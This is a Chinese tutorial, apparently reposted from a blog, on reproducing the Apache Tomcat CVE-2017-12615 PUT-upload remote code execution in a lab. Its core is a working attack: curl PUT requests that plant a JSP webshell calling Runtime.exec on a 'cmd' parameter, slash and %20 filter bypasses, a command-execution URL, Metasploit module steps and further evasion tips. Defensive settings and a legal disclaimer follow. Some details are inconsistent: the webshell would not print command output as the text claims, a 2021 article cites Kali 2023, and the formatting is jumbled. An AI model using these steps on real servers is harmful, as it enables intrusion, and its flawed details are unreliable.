如何进行Tomcat远程代码执行漏洞CVE-2017-12615复现

发布时间:2021-12-28 16:59:42 作者:柒染
来源:亿速云 阅读:258
# 如何进行Tomcat远程代码执行漏洞CVE-2017-12615复现

## 漏洞概述

CVE-2017-12615是Apache Tomcat服务器中的一个高危远程代码执行漏洞,影响版本为Tomcat 7.x至7.0.81(默认配置下)。该漏洞源于HTTP PUT方法的不当处理,攻击者可通过构造恶意请求上传JSP文件,最终实现任意代码执行。

### 影响版本
- Apache Tomcat 7.0.x ≤ 7.0.81(默认配置)
- 需满足以下条件:
  - 启用了HTTP PUT方法(默认禁用)
  - 未配置`readonly="true"`参数

## 环境搭建

### 实验环境要求
- 靶机:Ubuntu 20.04 + Tomcat 7.0.81
- 攻击机:Kali Linux 2023
- 网络:同一局域网或Docker环境

### 靶机部署步骤
```bash
# 下载受影响版本Tomcat
wget https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81.tar.gz

# 解压并配置
tar -zxvf apache-tomcat-7.0.81.tar.gz
cd apache-tomcat-7.0.81/conf

# 修改web.xml启用PUT方法
sed -i 's/<readonly>true<\/readonly>/<readonly>false<\/readonly>/' web.xml

# 启动Tomcat
../bin/startup.sh

漏洞复现过程

步骤1:验证PUT方法可用性

使用curl发送测试请求:

curl -X PUT http://192.168.1.100:8080/test.txt -d "Hello CVE-2017-12615"

若返回HTTP/1.1 201 Created,说明PUT方法已启用。

步骤2:绕过防护上传JSP文件

Tomcat会拦截直接上传的.jsp文件,需使用以下技巧绕过: 1. 斜杠后缀绕过

   curl -X PUT http://192.168.1.100:8080/shell.jsp/ -d "<%=Runtime.getRuntime().exec(request.getParameter(\"cmd\"))%>"
  1. 空格绕过
    
    curl -X PUT http://192.168.1.100:8080/shell.jsp%20 -d "<jsp-code>"
    

步骤3:验证Webshell

访问上传的JSP文件并执行命令:

http://192.168.1.100:8080/shell.jsp?cmd=id

应返回当前用户的UID信息。

漏洞原理分析

关键问题点

  1. PUT方法处理缺陷

    • DefaultServlet未正确处理特殊字符(如斜杠/空格)
    • 文件路径校验逻辑可被绕过
  2. JSP编译机制

    • 上传的.jsp文件会被Jasper编译器自动解析
    • 无需重启服务即可生效

安全配置对比

安全配置 漏洞状态
readonly=true 不可利用
readonly=false 可被利用
启用PUT方法 必要条件

防御措施

临时解决方案

  1. 关闭PUT方法(conf/web.xml):

    <init-param>
       <param-name>readonly</param-name>
       <param-value>true</param-value>
    </init-param>
    
  2. 添加Filter限制上传扩展名:

    <filter>
       <filter-name>UploadFilter</filter-name>
       <filter-class>com.example.UploadFilter</filter-class>
    </filter>
    

长期解决方案

扩展实验

使用Metasploit自动化利用

msfconsole
use exploit/multi/http/tomcat_jsp_upload_bypass
set RHOSTS 192.168.1.100
set RPORT 8080
exploit

防护绕过进阶技巧

  1. 分块编码传输(Chunked Encoding)
  2. 双编码绕过(%2520代替空格)
  3. 结合CVE-2017-12617进行权限提升

法律与伦理声明

  1. 本实验仅限授权环境测试
  2. 禁止用于真实生产环境
  3. 遵守当地网络安全法律法规

参考资源

”`

注:实际复现时建议使用隔离的虚拟机环境,本文所述IP地址均为示例。完整复现过程约需30-45分钟,包含环境搭建、漏洞验证和防护测试三个主要阶段。

推荐阅读:
  1. 怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现
  2. 如何进行Apache Tomcat远程代码执行漏洞CVE-2019-0232复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

tomcat cve-2017-12615

上一篇:Laravel中如何实现plus-component

下一篇:如何进行Microsoft RDP RCE的CVE-2019-0708漏洞复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》